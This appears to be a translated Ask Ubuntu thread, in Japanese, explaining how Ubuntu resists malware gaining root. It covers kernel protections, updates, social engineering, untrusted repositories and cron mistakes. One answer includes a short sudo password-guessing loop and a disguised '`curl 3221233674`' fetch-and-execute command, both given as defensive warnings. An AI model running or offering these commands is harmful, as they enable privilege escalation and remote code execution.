システムはどのように安全に保たれていますか?


24

マルウェアがLinuxシステムに侵入した場合、せいぜいユーザーレベルの特権を獲得し、特定のユーザーの手の届く範囲内、つまりユーザー自身のファイルを破壊することを理解しています。

しかし、マルウェアがルートレベルのアクセスを取得できないようにするにはどうすればよいでしょうか?何とかしてパスワードを内部から解読することはできませんか?


素晴らしい質問と回答!
-NlightNFotis

回答:


20

これは複雑な質問です。Ubuntuシステムには、AppArmorのような複雑なフレームワークからのような謙虚なカーネル変数まで、さまざまなセキュリティ層がありますmmap_min_addr。ミックスにメモリランダム化などのカーネル機能を追加できます。Ubuntu Wikiでそれらのリストと簡単な説明を見つけることができます。

もう1つの重要な要素は、更新が高速かつ簡単であることです。したがって、ほとんどのコンピューターは最後のセキュリティ修正プログラムに更新されます。

私の知る限り、コンピューターへのローカルアクセスを取得した攻撃者には、カーネル特権を拡張する3つの方法があります。

  1. パスワードを解読します。しかし、これは本当に難しいことです。パスワードは、既知の欠陥のないアルゴリズムを使用して暗号化されて保存されます。それをクラックするには時間がかかります。

  2. カーネルのバグ。しかし、カーネルのすべてのセキュリティ機能が邪魔になります。

  3. ユーザーをだましてパスワードを渡す、つまりソーシャルエンジニアリング。偽のパスワードダイアログを表示するか、他のトリックを使用してください。これが最も簡単な方法です。

3番目のポイントは、現在最も弱い脆弱性です。


5
この「パスワード」は、sudo-to-root特権を持つユーザーのパスワードであることに注意してください。ルートアカウントはデフォルトで無効になっています。#3は確かに最も起こりうることです。さらに、信頼できないリポジトリをインストールすると、そのリポジトリに無料のルートアカウントを配布します。
レーケンシュタイン

@Lekensteyn、何?!信頼できないリポジトリを追加してルートアクセスを配布する方法は?ところで、あなたは答えとしてそれを投稿したいと思うかもしれません、私はこのスレッドが何らかのコミュニティwikiであることを望みます。
オックスウィビ

askubuntuには、サーバープロセス以外のスレッドは存在しません。あなたはあなたの質問への答えコメントを投稿しました。食べ物を考えて答えを追加しました。
レーケンステイン

@Oxwivi PPAを追加してパッケージをインストールすると、そのパッケージにはpreinstおよびpostinstスクリプトがあり、それらは何でもできます。また、rootまたはmessとして実行するサービスをインストールすることもできsudoersます。
–ζ

15

Ubuntuはデフォルトでrootユーザーを無効にしているため、rootパスワード自体を解読することはできません。ただし、ユーザーがsudoを介してrootになることができ、パスワードが簡単に推測/ブルートフォースされる場合、システムは安全ではありません。パスワードをテストしようとするスクリプトの例:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

信頼できないリポジトリを追加すると、そのリポジトリからプログラムをインストールできます。のようなアプリケーションを明示的にインストールしなくsudo apt-get install [app-from-repo]ても、リポジトリに特定のプログラムの新しいバージョンが含まれているとUbuntuに認識させることにより、リポジトリは他のプログラムに影響を与える可能性があります。

更新プロセスはルートとして実行されます。そうしないと、ファイルを/usr/binまたはに書き込むことができません/etc。インストールトリガーもルートとして実行され、任意の、場合によっては有害なコマンドを実行できます。心配する必要はありません。プログラムを更新するには手動でのアクションが必要であり、Ubuntuリポジトリは安全です。Windowsなどのクローズドソースソフトウェアは、悪意のあるコードのソースをチェックできないため、完全に信頼することはできませんが、必要に応じてUbuntuアプリケーションのソースを確認できます(sun-java6またはFlash などのプロプライエタリプログラムには適用されません)。

Javier Riveraが述べたように、カーネルのバグは任意のコードの実行につながる可能性がありますが、バグのあるソフトウェア、特にバグのあるsetsuidルートバイナリ(ファイル所有者、ルートの下で実行されるバイナリ)、およびルートとして実行される他のバグのあるプログラムも危険です。

実行していることに注意を払わない場合、システムにセキュリティホールを作成できます。たとえば、cronjobsの概念を完全に理解せずに/etc/cron.daily、ホームフォルダーでプログラムを実行するcronjobを追加しました(たとえば/bin/sh /home/your-username/myscript.sh、myscript.shファイルが書き込み可能で、削除できる場合、悪用されると悪意がある可能性がありますmyscript.shルートとして実行されるコード(特権エスカレーション)。

安全を保つために、心を使ってください!コマンドの動作がわからない場合は、信頼できないソースからコマンドを実行しないでください。誰か`curl 3221233674`が逆ティックで実行すると言う場合は、しないでください。3221233674は別の記述方法です192.0.32.10(example.comのIP)。したがって、次のようになります。

`curl http://example.com/`

これらの逆ティックにより、出力がシェルコマンドとして実行されます。簡単な英語では、「http://example.com/ページをダウンロードして、ダウンロードしたページを実行してみてください」。

最初は、指定されたコマンドに悪意のあるものは表示されません。しかし今、あなたはそれも悪用される可能性があることを知っています。

インターネットなどの信頼できないソースから取得したコマンド/スクリプトを常に確認してください。


1
答えてくれてありがとう、私の編集を気にしないでください。あなたの英語を改善するために私の編集に注意してください。
オックスウィビ

2
いや、私は気にしません。すべての改善は大歓迎です:)
Lekensteyn

とにかく、これは素晴らしい投稿です、あなたが言及したポイントは注意されなければなりません!
オックスウィビ
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.